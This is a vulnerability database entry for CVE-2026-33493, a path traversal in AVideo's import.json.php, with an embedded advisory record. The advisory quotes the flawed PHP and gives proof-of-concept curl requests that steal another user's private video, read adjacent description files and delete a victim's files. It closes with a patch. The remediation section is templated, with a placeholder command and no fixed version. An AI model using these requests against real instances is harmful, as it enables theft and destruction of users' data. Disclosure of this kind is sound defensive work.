CVE-2026-33493: Wwbn/avideo Path Traversal Vulnerability
HIGHCVE-2026-33493 is a HIGH (CVSS 7.1) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Wwbn/avideo libraries in the Packagist ecosystem. The issue involves avideo has a path traversal in import.json.php allows private video theft and arbitrary file read/deletion via fileuri parameter. Remediation is available in the latest vendor maintenance releases.
CVE-2026-33493 at a Glance
Security Impact
CVSS: 7.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).
How to Fix CVE-2026-33493
To remediate this vulnerability, upgrade all affected Wwbn/avideo dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade wwbn/avideo to Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for wwbn/avideo
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-33493, inspect your project dependencies for Wwbn/avideo:
inspect dependencies for wwbn/avideo
Analyze the terminal output to locate any version of Wwbn/avideo in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Wwbn/avideo, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-33493 Affected Wwbn/avideo Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
wwbn/avideo
|
Packagist |
≤ 26.0
|
|
References
Frequently Asked Questions
What is CVE-2026-33493?
Which Wwbn/avideo versions are affected?
What version fixes CVE-2026-33493?
Is wwbn/avideo affected?
What is the CVSS score of CVE-2026-33493?
What CWE is associated with CVE-2026-33493?
How can I check Packagist dependencies for CVE-2026-33493?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-83xq-8jxj-4rxm",
"modified" : "2026-03-25T20:31:17Z",
"published" : "2026-03-20T20:49:36Z",
"aliases" : [ "CVE-2026-33493" ],
"summary" : "AVideo has a Path Traversal in import.json.php Allows Private Video Theft and Arbitrary File Read/Deletion via fileURI Parameter",
"details" : "## Summary\n\nThe `objects/import.json.php` endpoint accepts a user-controlled `fileURI` POST parameter with only a regex check that the value ends in `.mp4`. Unlike `objects/listFiles.json.php`, which was hardened with a `realpath()` + directory prefix check to restrict paths to the `videos/` directory, `import.json.php` performs no directory restriction. This allows an authenticated user with upload permission to: (1) steal any other user's private video files by importing them into their own account, (2) read `.txt`/`.html`/`.htm` files adjacent to any `.mp4` file on the filesystem, and (3) delete `.mp4` and adjacent text files if writable by the web server process.\n\n## Details\n\n### Missing path restriction in import.json.php\n\nAt `objects/import.json.php:12`, the only validation on the user-supplied `fileURI` is a regex ensuring it ends with `.mp4`:\n\n```php\n// objects/import.json.php:12\nif (!preg_match(\"/.*\\\\.mp4$/i\", $_POST['fileURI'])) {\n return false;\n}\n```\n\nCompare this to the hardened `listFiles.json.php:16-28`, which was patched to restrict paths:\n\n```php\n// objects/listFiles.json.php:16-28\n$allowedBase = realpath($global['systemRootPath'] . 'videos');\n// ...\n$resolvedPath = realpath($_POST['path']);\nif ($resolvedPath === false || strpos($resolvedPath . '/', $allowedBase) !== 0) {\n http_response_code(403);\n echo json_encode(['error' => 'Path not allowed']);\n exit;\n}\n```\n\nThe same fix was never applied to `import.json.php`.\n\n### Attack Primitive 1: File content disclosure (.txt/.html/.htm)\n\nAt lines 23-43, the endpoint strips the `.mp4` extension from `fileURI` and attempts to read adjacent `.txt`, `.html`, or `.htm` files via `file_get_contents()`:\n\n```php\n// objects/import.json.php:23-43\n$filename = $obj->fileURI['dirname'] . DIRECTORY_SEPARATOR . $obj->fileURI['filename'];\n$extensions = ['txt', 'html', 'htm'];\nforeach ($extensions as $value) {\n if (file_exists(\"{$filename}.{$value}\")) {\n $html = file_get_contents(\"{$filename}.{$value}\");\n $_POST['description'] = $html;\n // ...\n break;\n }\n}\n```\n\nThe content flows into `$_POST['description']`, which is then saved as the video description by `upload.php:59-64`:\n\n```php\n// view/mini-upload-form/upload.php:59-64\nif (!empty($_POST['description'])) {\n // ...\n $video->setDescription($_POST['description']);\n}\n```\n\nThe attacker then views the imported video to read the file contents in the description field. This works for any path where both a `.mp4` file and an adjacent `.txt`/`.html`/`.htm` file exist — which is the standard layout for every video in the `videos/` directory.\n\n### Attack Primitive 2: Private video theft\n\nAt line 49, the endpoint copies the `.mp4` file to a temp directory and then imports it as the current user's video:\n\n```php\n// objects/import.json.php:47-49\n$source = $obj->fileURI['dirname'] . DIRECTORY_SEPARATOR . $obj->fileURI['basename'];\nif (!copy($source, $tmpFileName)) {\n // ...\n}\n```\n\nAn attacker who knows or can enumerate another user's video filename can copy any private `.mp4` file into their own account.\n\n### Attack Primitive 3: File deletion\n\nAt lines 54-65, when `$_POST['delete']` is set, the endpoint deletes the source `.mp4` and adjacent text files:\n\n```php\n// objects/import.json.php:54-61\nif (!empty($_POST['delete']) && $_POST['delete'] !== 'false') {\n if (is_writable($source)) {\n unlink($source);\n foreach ($extensions as $value) {\n if (file_exists(\"{$filename}.{$value}\")) {\n unlink(\"{$filename}.{$value}\");\n }\n }\n }\n}\n```\n\n## PoC\n\n### Step 1: Steal a private video\n\nAssuming the attacker knows another user's video filename (e.g., `victim_video_abc123`), which can be enumerated via the platform UI or API:\n\n```bash\ncurl -b 'PHPSESSID=<authenticated_session_with_upload_perm>' \\\n -X POST 'https://target/objects/import.json.php' \\\n -d 'fileURI=/var/www/html/AVideo/videos/victim_video_abc123/victim_video_abc123.mp4'\n```\n\n**Expected result:** The response returns `{\"error\":false, \"videos_id\": <new_id>, ...}`. The victim's private `.mp4` is now imported as the attacker's own video at the returned `videos_id`.\n\n### Step 2: Read another user's video description file\n\n```bash\ncurl -b 'PHPSESSID=<authenticated_session_with_upload_perm>' \\\n -X POST 'https://target/objects/import.json.php' \\\n -d 'fileURI=/var/www/html/AVideo/videos/victim_video_abc123/victim_video_abc123.mp4&length=100'\n```\n\n**Expected result:** If `victim_video_abc123.txt` (or `.html`/`.htm`) exists alongside the `.mp4`, its contents are stored as the description of the newly created video. The attacker views the video page to read the exfiltrated content.\n\n### Step 3: Delete another user's video\n\n```bash\ncurl -b 'PHPSESSID=<authenticated_session_with_upload_perm>' \\\n -X POST 'https://target/objects/import.json.php' \\\n -d 'fileURI=/var/www/html/AVideo/videos/victim_video_abc123/victim_video_abc123.mp4&delete=true'\n```\n\n**Expected result:** The victim's `.mp4` file and any adjacent `.txt`/`.html`/`.htm` files are deleted (if writable by the web server process).\n\n## Impact\n\n- **Private video theft**: Any authenticated user with upload permission can import another user's private videos into their own account, bypassing all access controls. This directly compromises video content confidentiality.\n- **File content disclosure**: `.txt`, `.html`, and `.htm` files adjacent to any `.mp4` on the filesystem can be read by the attacker. Within the AVideo `videos/` directory, these are video description files that may contain private information.\n- **File deletion**: An attacker can delete other users' video files and metadata, causing data loss.\n- **Blast radius**: All private videos on the instance are accessible to any user with upload permission. In default AVideo configurations, registered users can upload.\n\n## Recommended Fix\n\nApply the same `realpath()` + directory prefix check from `listFiles.json.php` to `import.json.php`, immediately after the `.mp4` regex check:\n\n```php\n// objects/import.json.php — add after line 14 (the preg_match check)\n$allowedBase = realpath($global['systemRootPath'] . 'videos');\nif ($allowedBase === false) {\n die(json_encode(['error' => 'Configuration error']));\n}\n$allowedBase .= '/';\n\n$resolvedDir = realpath(dirname($_POST['fileURI']));\nif ($resolvedDir === false || strpos($resolvedDir . '/', $allowedBase) !== 0) {\n http_response_code(403);\n die(json_encode(['error' => 'Path not allowed']));\n}\n// Reconstruct fileURI from resolved path to prevent symlink bypass\n$_POST['fileURI'] = $resolvedDir . '/' . basename($_POST['fileURI']);\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "wwbn/avideo"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "26.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-83xq-8jxj-4rxm"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33493"
}, {
"type" : "WEB",
"url" : "https://github.com/WWBN/AVideo/commit/e110ff542acdd7e3b81bdd02b8402b9f6a61ad78"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/WWBN/AVideo"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-20T20:49:36Z",
"nvd_published_at" : "2026-03-23T16:16:49Z"
}
}